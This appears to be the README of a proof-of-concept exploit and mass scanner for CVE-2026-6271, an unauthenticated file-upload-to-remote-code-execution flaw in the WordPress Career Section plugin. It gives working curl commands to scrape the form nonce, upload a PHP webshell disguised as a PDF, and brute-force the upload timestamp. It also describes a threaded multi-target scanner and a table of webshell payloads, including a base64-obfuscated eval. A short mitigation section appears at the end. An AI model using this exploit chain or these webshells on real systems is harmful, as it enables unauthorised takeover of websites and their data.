插件: Career Section (
career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H漏洞类型: 未认证任意文件上传 → 远程代码执行 受影响版本: <= 1.7 修复版本: 1.8 发布日期: 2026年5月13日 研究人员: Paolo Tresso — Wordfence
Career Section插件允许网站所有者发布招聘信息和收集申请。每个职位页面都有一个 "Apply Now" 表单。该表单包含一个简历文件上传字段。
在1.7及更早版本中,上传处理器接受任何文件类型——包括.php。由于表单是公开的,且CSRF令牌嵌入在页面HTML中,无需任何账户或权限即可利用此漏洞。
WordPress nonce是 CSRF令牌,而不是身份验证令牌。Nonce值会为每个访问者嵌入到页面HTML中:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
任何未认证的访问者都可以获得有效的nonce并通过验证检查。
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() 仅清理特殊字符,不阻止危险扩展名。
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
该目录中 没有 阻止PHP执行的.htaccess文件。
⚠️ Disclaimer: This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.
前提条件:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
在页面源代码中寻找的结构:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
文件名格式为 <timestamp>_shell.php。
尝试 $TS 附近的时间戳:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
预期输出:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
直接访问:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] 3个目标 | CVE-2026-6271 Career Section | 线程数=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (来源: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE 输出 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (文件类型被阻止)
[~ NO_NONCE ] http://hedef3.com (未找到csaf_form_nonce)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE已确认 → rce_confirmed.txt
──────────────────────────────────────────────────────────────
针对 wp-content/uploads/cs_applicant_submission_files/ 目录的 .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # 主扫描器
├── requirements.txt # 依赖项
└── README.md # 本文件
此工具和PoC仅设计用于授权系统,教育目的和渗透测试范围。 在未经授权的系统上使用将构成犯罪,违反土耳其刑法第243-245条 及国际网络犯罪法律。 开发者不对因滥用此工具而产生的任何法律责任负责。
MIT许可证 — 仅供教育及研究目的使用。
| 原因 | 说明 |
|---|
| 无需身份验证 | Nonce嵌入在公共HTML中 |
| 无文件类型限制 | 接受.php, .php5, .phtml |
无.htaccess保护 | PHP在上传目录中执行 |
| 可预测的文件名 | time()_filename → 时间戳暴力破解 |
| 参数 | 简写 | 说明 | 默认值 |
|---|
--url | -u | 单个目标URL | — |
--list | -l | 目标列表文件 | — |
--threads | -t | 线程数 | 10 |
--output | -o | 输出文件 | rce_confirmed.txt |
--job-url | — | 直接职位列表URL | — |
--shell-name | — | 要上传的文件名 | shell.php |
--shell-type | — | Shell类型 | system |
--verify-cmd | — | RCE验证命令 | id |
--ts-window | — | 时间戳暴力破解窗口(±秒) | 5 |
--proxy | — | 代理URL | — |
--timeout | — | 请求超时(秒) | 10 |
| 类型 | Payload | 说明 |
|---|
system | <?php system($_GET["cmd"]); ?> | 基本系统命令 |
passthru | <?php passthru($_GET["cmd"]); ?> | 原始输出 |
exec | <?php echo exec($_GET["cmd"]); ?> | 静默执行 |
assert | <?php assert($_POST["cmd"]); ?> | POST方式eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64混淆 |
full | shell_exec + system + exec fallback | 全功能Shell |
| 状态 | 说明 |
|---|
★ RCE OK | Shell已上传且命令成功执行 |
★ SHELL ALIVE | Shell可访问但返回了不同响应 |
~ EXEC_DISABLED | Shell存在但服务器上exec()被禁用 |
? UPLOADED | 已上传但无法找到时间戳 |
- BLOCKED | 文件类型被阻止(已修补版本) |
~ NO_NONCE | 未找到 csaf_form_nonce |
~ TIMEOUT | 连接超时 |
~ UNREACH | 无法到达目标 |
| 措施 | 实施 |
|---|
| 插件更新 | 升级到Career Section 1.8或更高版本 |
| 阻止PHP执行 | 在上传目录中添加.htaccess |
| 扩展名白名单 | 仅接受 pdf, doc, docx |
| MIME验证 | 使用 finfo_file() 检查实际内容 |
| WAF规则 | 阻止 .php 上传请求 |